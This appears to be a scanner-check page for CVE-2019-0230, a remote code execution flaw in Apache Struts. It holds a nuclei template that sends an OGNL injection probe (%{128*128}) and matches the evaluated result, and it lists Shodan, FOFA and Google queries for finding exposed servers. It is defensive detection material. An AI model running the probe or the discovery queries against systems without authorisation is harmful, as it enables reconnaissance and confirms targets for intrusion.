CVE-2019-0230· apache / struts· CWE-1321
Apache Struts <=2.5.20 - Remote Code Execution
criticalseverity
9.8CVSS score
96.9%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it
Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation when evaluated on raw user input in tag attributes, which may lead to remote code execution.
Impact
Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected server.
Fix
Upgrade Apache Struts to a version higher than 2.5.20 or apply the necessary patches provided by the vendor.
How to confirm it
Send: GET {{BaseURL}}/?id={{str}}%25{128*128}
Positive when: contains "{{str}}16384"Run it with nuclei: nuclei -id CVE-2019-0230 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2019-0230
info:
name: Apache Struts <=2.5.20 - Remote Code Execution
author: geeknik
severity: critical
description: Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation when evaluated on raw user input in tag attributes, which may lead to remote code execution.
impact: |
Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected server.
remediation: |
Upgrade Apache Struts to a version higher than 2.5.20 or apply the necessary patches provided by the vendor.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2019-0230
- https://cwiki.apache.org/confluence/display/WW/S2-059
- https://www.tenable.com/blog/cve-2019-0230-apache-struts-potential-remote-code-execution-vulnerability
- http://packetstormsecurity.com/files/160108/Apache-Struts-2.5.20-Double-OGNL-Evaluation.html
- https://cwiki.apache.org/confluence/display/ww/s2-059
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2019-0230
cwe-id: CWE-1321
epss-score: 0.96946
epss-percentile: 0.99888
cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: apache
product: struts
shodan-query:
- http.html:"apache struts"
- http.title:"struts2 showcase"
- http.html:"struts problem report"
fofa-query:
- body="struts problem report"
- title="struts2 showcase"
- body="apache struts"
google-query: intitle:"struts2 showcase"
tags: cve,cve2019,tenable,packetstorm,struts,rce,apache,vuln,vkev
variables:
str: "{{rand_base(6)}}"
http:
- method: GET
path:
- "{{BaseURL}}/?id={{str}}%25{128*128}"
matchers:
- type: word
part: body
words:
- "{{str}}16384"References
- https://nvd.nist.gov/vuln/detail/CVE-2019-0230
- https://cwiki.apache.org/confluence/display/WW/S2-059
- https://www.tenable.com/blog/cve-2019-0230-apache-struts-potential-remote-code-execution-vulnerability
- http://packetstormsecurity.com/files/160108/Apache-Struts-2.5.20-Double-OGNL-Evaluation.html
- https://cwiki.apache.org/confluence/display/ww/s2-059
Use this check only on systems you are authorised to test. Where the data comes from